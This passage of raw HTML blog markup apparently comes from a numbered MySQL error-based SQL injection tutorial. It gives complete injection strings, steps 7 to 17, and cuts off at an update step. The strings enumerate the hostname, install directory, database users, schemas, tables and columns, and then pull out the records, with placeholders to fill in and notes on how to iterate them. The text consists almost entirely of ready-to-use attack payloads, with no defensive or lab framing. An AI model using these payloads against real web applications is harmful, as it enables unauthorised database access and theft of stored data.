class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;8. To find the installation directory&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;9. To find the DB User&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;10. To find the databases&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: Keep incrementing the n, e.g. : n, n+1, n+2, ... till you keep getting a response.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;assume n = 0 &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif; line-height: 115%;"&gt;,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="line-height: 12px;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;n+1&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;n+2&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;... &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;11. To count the number of tables in the selected database&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;span style="color: #0070c0; font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_database_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span style="line-height: 18px;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: Note this count as n, assume m = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Replace colored strings with appropriate value&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;12. To get the table names in the selected database&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: m-n implies execute this query starting from m=0, m+1…n-1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Replace colored strings with appropriate value&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_database_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; limit &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;m-n&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;13. To get number of columns in the selected table name&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;span style="color: #0070c0; font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_database_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; AND table_name=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_table_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: Note this count as n, assume m = 0&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Replace colored strings with appropriate value&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;14. To get column names of a selected table name&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: m-n implies execute this query starting from m, m+1…n-1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Replace colored strings with appropriate value&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_database_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;AND table_name=0x&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;hex_code_of_table_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; limit &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;m-n&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;15. To count the number of records in a selected column&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: Remember this count as n&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;database_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;`.&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;table_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;16. To fetch records from a selected column&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note: m-n implies execute this query starting from m, m+1…n-1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="color: #0070c0;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Replace colored strings with appropriate value&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;table_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;column_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; as char)),0x27,0x7e) FROM `&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;database_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;`.&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;table_name&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt; LIMIT &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: yellow; background-image: initial; background-origin: initial; color: red; line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;m-n&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;17. Update a record in the selected column&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 